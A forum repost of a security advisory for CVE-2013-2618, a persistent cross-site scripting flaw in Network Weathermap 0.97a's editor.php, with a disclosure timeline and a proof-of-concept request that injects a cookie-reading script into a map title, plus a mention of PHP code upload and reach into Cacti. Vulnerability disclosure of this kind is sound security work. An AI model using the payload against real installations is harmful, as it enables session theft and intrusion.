Kwelwild Posted April 2, 2013 Report Posted April 2, 2013 Network Weathermap 0.97a (editor.php) - Persistent XSSNetwork Weathermap 0.97a - Persistent XSSEarlier versions are also possibly vulnerable.INFORMATIONProduct: Network Weathermap 0.97aRemote-exploit: yesVendor-URL: http://www.network-weathermap.com/Discovered by: Daniel Ricardo dos SantosCVE Request - 15/03/2013CVE Assign - 18/03/2013CVE Number - CVE-2013-2618Vendor notification - 18/03/2013Vendor reply - No replyPublic disclosure - 01/04/2013OVERVIEWNetwork Weathermap 0.97a is vulnerable to a persistent XSS when displayingavailable files.INTRODUCTIONNetwork Weathermap is a network visualisation tool, to take data youalready have and show you an overview of your network in map form.Support is built in for RRD, MRTG (RRD and old log-format), andtab-delimited text files. Other sources are via plugins or external scripts.VULNERABILITY DESCRIPTIONThe vulnerability happens when a user injects HTML and Javascript into thetitle of a map in editor.php. This title is later shown to the user whenlisting the files in editor.php?action=newfileBesides the title, other fields also allow an attacker to upload maliciousPHP code to a webserver, which can later be executed if the attacker hasdirect acess to that file.This application is often used as a plugin for Cacti. The vulnerability canbe exploited in this mode as well, inweathermap-cacti-plugin-mgmt.php?action=viewconfig&file=<affected_file> andit can be used to exploit Cacti.To test it, simply create a map or edit an existing one:GET editor.php?mapname=test&action=newmapThen edit the map title with the payload:POST editor.phpplug=0&mapname=test&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&link_commentin=&link_commentposin=95&link_commentout=&link_commentposout=5&map_title=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&map_legend=Traffic+Load&map_stamp=Created%3A+%25b+%25d+%25Y+%25H%3A%25M%3A%25S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=&editorsettings_showvias=0&editorsettings_showrelative=0&editorsettings_gridsnap=NOThen display the titles:GET editor.phpVERSIONS AFFECTEDTested with version 0.97a (current release) but earlier versions arepossibly vulnerable.SOLUTIONThere is no official patch currently available.NOTESThe Common Vulnerabilities and Exposures (CVE) project has assigned thename CVE-2013-2618 to this issue. This is a candidate for inclusion inthe CVE list (http://cve.mitre.org), which standardizes names forsecurity problems.CREDITSDaniel Ricardo dos SantosSEC+ Information Security Company - http://www.secplus.com.br/Sursa: Network Weathermap 0.97a (editor.php) - Persistent XSS Quote